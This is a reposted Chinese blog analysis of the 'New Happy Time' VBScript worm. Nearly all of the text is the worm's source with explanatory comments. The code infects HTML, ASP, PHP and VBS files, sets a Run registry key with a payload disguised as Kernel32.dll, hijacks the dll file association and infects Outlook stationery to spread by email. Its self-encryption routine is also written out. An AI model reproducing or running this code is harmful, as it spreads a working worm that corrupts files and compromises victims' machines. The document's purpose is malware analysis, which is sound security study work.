[转]“新欢乐时光”病毒源代码分析

转载 2005年04月27日 15:14:00

[]“新欢乐时光”病毒源代码分析

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
'
初始化变量
KJSetDim()
'
初始化环境
KJCreateMilieu()
'
感染本地或者共享上与html所在目录
KJLikeIt()
'
通过vbs感染Outlook邮件模板
KJCreateMail()
'
进行病毒传播
KJPropagate()
End Sub

' 函数:KJAppendTo(FilePath,TypeStr)
'
功能:向指定类型的指定文件追加病毒
'
参数:
' FilePath
指定文件路径
' TypeStr
指定类型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
'
以只读方式打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
'
将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
'
判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
'
若文件长度小于1,也退出函数。
If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
'
如果传过来的类型是"htt"
'
在文件头加上调用页面的时候加载KJ_start()函数;
'
在文件尾追加html版本的加密病毒体。
'
如果是"html"
'
在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
'
如果是"vbs"
'
在文件尾追加vbs版本的病毒体
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write "<" & "BODY onload="""
& "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"
& "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function

' 函数:KJChangeSub(CurrentString,LastIndexChar)
'
功能:改变子目录以及盘符
'
参数:
' CurrentString
当前目录
' LastIndexChar
上一级目录在当前路径中的位置
Function KJChangeSub(CurrentString,LastIndexChar)
'
判断是否是根目录
If LastIndexChar = 0 Then
'
如果是根目录
'
如果是C:/,返回FinalyDisk盘,并将SubE置为0
'
如果不是C:/,返回将当前盘符递减1,并将SubE置为0
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":/"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":/"
SubE = 0
End If
Else
'
如果不是根目录,则返回上一级目录名称
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function

' 函数:KJCreateMail()
'
功能:感染邮件部分
Function KJCreateMail()
On Error Resume Next
'
如果当前执行文件是"html"的,就退出函数
If InWhere = "html" Then
Exit Function
End If
'
取系统盘的空白页的路径
ShareFile = Left(WinPath,3) & "Program Files/Common Files/Microsoft Shared/Stationery/blank.htm"
'
如果存在这个文件,就向其追加html的病毒体
'
否则生成含有病毒体的这个文件
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
'
取得当前用户的IDOutLook的版本
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER/Identities/Default User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE/Software/Microsoft/Outlook Express/MediaVer")
'
激活信纸功能,并感染所有信纸
WsShell.RegWrite "HKEY_CURRENT_USER/Identities/"&DefaultId&"/Software/Microsoft/Outlook Express/"& Left(OutLookVersion,1) &".0/Mail/Compose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER/Identities/"&DefaultId&"/Software/Microsoft/Outlook Express/"& Left(OutLookVersion,1) &".0/Mail/Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER/Identities/"&DefaultId&"/Software/Microsoft/Outlook Express/"& Left(OutLookVersion,1) &".0/Mail/Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Office/9.0/Outlook/Options/Mail/EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/Microsoft Outlook Internet Settings/0a0d020000000000c000000000000046/001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USER/Software/Microsoft/Windows NT/CurrentVersion/Windows Messaging Subsystem/Profiles/Microsoft Outlook Internet Settings/0a0d020000000000c000000000000046/001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Office/10.0/Outlook/Options/Mail/EditorPreference",131072,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER/Software/Microsoft/Office/10.0/Common/MailSettings/NewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program Files/Common Files/Microsoft Shared/Stationery")
End Function


'
函数:KJCreateMilieu()
'
功能:创建系统环境
Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
'
判断操作系统是NT/2000还是9X
If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32/"
End If
'
为了文件名起到迷惑性,并且不会与系统文件冲突。
'
如果是NT/2000则启动文件为system/Kernel32.dll
'
如果是9x启动文件则为system/Kernel.dll
If TempPath = "system32/" Then
StartUpFile = WinPath & "SYSTEM/Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM/Kernel.dll"
End If
'
添加Run值,添加刚才生成的启动文件路径
WsShell.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/Kernel32",StartUpFile
'
拷贝前期备份的文件到原来的目录
FSO.CopyFile WinPath & "web/kjwall.gif",WinPath & "web/Folder.htt"
FSO.CopyFile WinPath & "system32/kjwall.gif",WinPath & "system32/desktop.ini"
'
%windir%/web/Folder.htt追加病毒体
Call KJAppendTo(WinPath & "web/Folder.htt","htt")
'
改变dllMIME
'
改变dll的默认图标
'
改变dll的打开方式
WsShell.RegWrite "HKEY_CLASSES_ROOT/.dll/","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT/.dll/Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT/dllfile/DefaultIcon/",WsShell.RegRead("HKEY_CLASSES_ROOT/vxdfile/DefaultIcon/")
WsShell.RegWrite "HKEY_CLASSES_ROOT/dllfile/ScriptEngine/","VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT/dllFile/Shell/Open/Command/",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT/dllFile/ShellEx/PropertySheetHandlers/WSHProps/","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT/dllFile/ScriptHostEncode/","{85131631-480C-11D2-B1F9-00C04F86C324}"
'
启动时加载的病毒文件中写入病毒体
Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
FileTemp.Close
End Function

' 函数:KJLikeIt()
'
功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
Function KJLikeIt()
'
如果当前执行文件不是"html"的就退出程序
If InWhere <> "html" Then
Exit Function
End If
'
取得文档当前路径
ThisLocation = document.location
'
如果是本地或网上共享文件
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
'
如果这个文件扩展名不为空,在ThisLocation中保存它的路径
If FSO.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
End If
'
如果ThisLocation的长度大于3就尾追一个"/"
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "/"
End If
'
感染这个目录
KJummageFolder(ThisLocation)
End If
End Function

' 函数:KJMailReg(RegStr,FileName)
'
功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
'
参数:
' RegStr
注册表指定键值
' FileName
指定文件名
Function KJMailReg(RegStr,FileName)
On Error Resume Next
'
如果注册表指定键值不存在,则向指定位置写入指定文件名
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function

' 函数:KJOboSub(CurrentString)
'
功能:遍历并返回目录路径
'
参数:
' CurrentString
当前目录
Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":/"
Exit Do
End If
On Error Resume Next
'
取得当前目录的所有子目录,并且放到字典中
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
Next
'
如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE1
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"/",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
Else
'
如果存在子目录
'
如果SubE0,则将CurrentString变为它的第1个子目录
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "/"
Exit Do
Else
'
如果SubE1,继续遍历子目录,并将下一个子目录返回
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & "/"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString,"/",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
Loop
KJOboSub = CurrentString
End Function

' 函数:KJPropagate()
'
功能:病毒传播
Function KJPropagate()
On Error Resume Next
RegPathvalue = "HKEY_LOCAL_MACHINE/Software/Microsoft/Outlook Express/Degree"
DiskDegree = WsShell.RegRead(RegPathvalue)
'
如果不存在Degree这个键值,DiskDegree则为FinalyDisk
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":/"
End If
'
DiskDegree置后感染5个目录
For i=1 to 5
DiskDegree = KJOboSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
'
将感染记录保存在"HKEY_LOCAL_MACHINE/Software/Microsoft/Outlook Express/Degree"键值中
WsShell.RegWrite RegPathvalue,DiskDegree
End Function

' 函数:KJummageFolder(PathName)
'
功能:感染指定目录
'
参数:
' PathName
指定目录
Function KJummageFolder(PathName)
On Error Resume Next
'
取得目录中的所有文件集
Set FolderName = FSO.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
'
判断扩展名
'
若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
'
若是VBS则向文件中追加VBS版的病毒体
'
若是HTT,则标志为已经存在HTT
If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
'
如果所给的路径是桌面,则标志为已经存在HTT
If (UCase(PathName) = UCase(WinPath & "Desktop/")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
HttExists = 1
End If
'
如果不存在HTT
'
向目录中追加病毒体
If HttExists = 0 Then
FSO.CopyFile WinPath & "system32/desktop.ini",PathName
FSO.CopyFile WinPath & "web/Folder.htt",PathName
End If
End Function

' 函数KJSetDim()
'
定义FSO,WsShell对象
'
取得最后一个可用磁盘卷标
'
生成传染用的加密字串
'
备份系统中的web/folder.httsystem32/desktop.ini
Function KJSetDim()
On Error Resume Next
Err.Clear

' 测试当前执行文件是html还是vbs
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If

' 创建文件访问对象和Shell对象
If InWhere = "vbs" Then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WsShell = CreateObject("WScript.Shell")
Else
Set AppleObject = document.applets("KJ_guest")
AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
AppleObject.createInstance()
Set FSO = AppleObject.GetObject()
End If
Set DiskObject = FSO.Drives
'
判断磁盘类型
'
' 0: Unknown
' 1: Removable
' 2: Fixed
' 3: Network
' 4: CD-ROM
' 5: RAM Disk
'
如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROMRAM Disk都是在比较靠后的位置。呵呵,如果C:RAMDISK会怎么样?
For Each DiskTemp In DiskObject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next

' 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
'
加密算法
Dim OtherArr(3)
Randomize
'
随机生成4个算子
For i=0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
'
对回车、换行(0x0D,0x0A)做特别的处理
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
'
很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
'
含有解密算法的字串
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
'
将加密好的病毒体复制给变量 ThisText
ThisText = "ExeString = """ & TempString & """"
'
生成html感染用的脚本
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
'
生成vbs感染用的脚本
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
'
取得Windows目录
' GetSpecialFolder(n)
' 0: WindowsFolder
' 1: SystemFolder
' 2: TemporaryFolder
'
如果系统目录存在web/Folder.httsystem32/desktop.ini,则用kjwall.gif文件名备份它们。
WinPath = FSO.GetSpecialFolder(0) & "/"
If (FSO.FileExists(WinPath & "web/Folder.htt")) Then
FSO.CopyFile WinPath & "web/Folder.htt",WinPath & "web/kjwall.gif"
End If
If (FSO.FileExists(WinPath & "system32/desktop.ini")) Then
FSO.CopyFile WinPath & "system32/desktop.ini",WinPath & "system32/kjwall.gif"
End If
End Function

 

新欢乐时光病毒源代码分析

  • 2007年05月17日 18:16
  • 53KB
  • 下载

欢乐时光(folder.htt)病毒专杀

  • 2009年07月17日 17:31
  • 747KB
  • 下载

[愚人节福利]传智播客愚人节恶搞程序设计教程+源代码欢乐发布!

好吧,在某年某4月1号的时候,我曾经被人贴过纸条,吃过别人的芥末饼干,也曾恶搞别人的桌面,弄过牙膏饼干……这一切都源于邪恶的愚人节,总之,这一天,攻防都是一种智慧,甚至于将计就计,一切就是在愚人节这天...

欢乐时光病毒源码剖析

  • 2007年05月18日 13:11
  • 51KB
  • 下载

信息安全恶意代码病毒源代码分析

  • 2010年11月25日 22:52
  • 3.09MB
  • 下载

【2015.12.25】圣诞节欢乐赛赛后分析

写在分析前的一点废话: 这次圣诞节欢乐赛答得稍微有点着急,T3的正解还没有想出来就急着交卷,于是丢了50分,成绩不是很理想。另外小细节也丢了30分……讲真是有点遗憾的orz。另外这次考试让我很想出题_...

vbs病毒的简单例子源代码解析

vbs病毒的简单例子源代码解析说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相...

[转载]autorun.inf病毒源代码

autorun.inf病毒源代码 '文件名:autorun.inf [autorun]   open=   shell\open=打开(&O)   shell\open\Command=...

LPK病毒专杀工具C源代码

最近分析了一个lpk的病毒,链接  http://bbs.pediy.com/thread-217841.htm 但感觉还不过瘾,于是手痒写了这个C语言版本的专杀工具。 行为不多说了,杀毒思路1.结束...

透视木马程序开发技术:病毒源代码详解(一)

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:[转]“新欢乐时光”病毒源代码分析
举报原因:
原因补充:

(最多只允许输入30个字)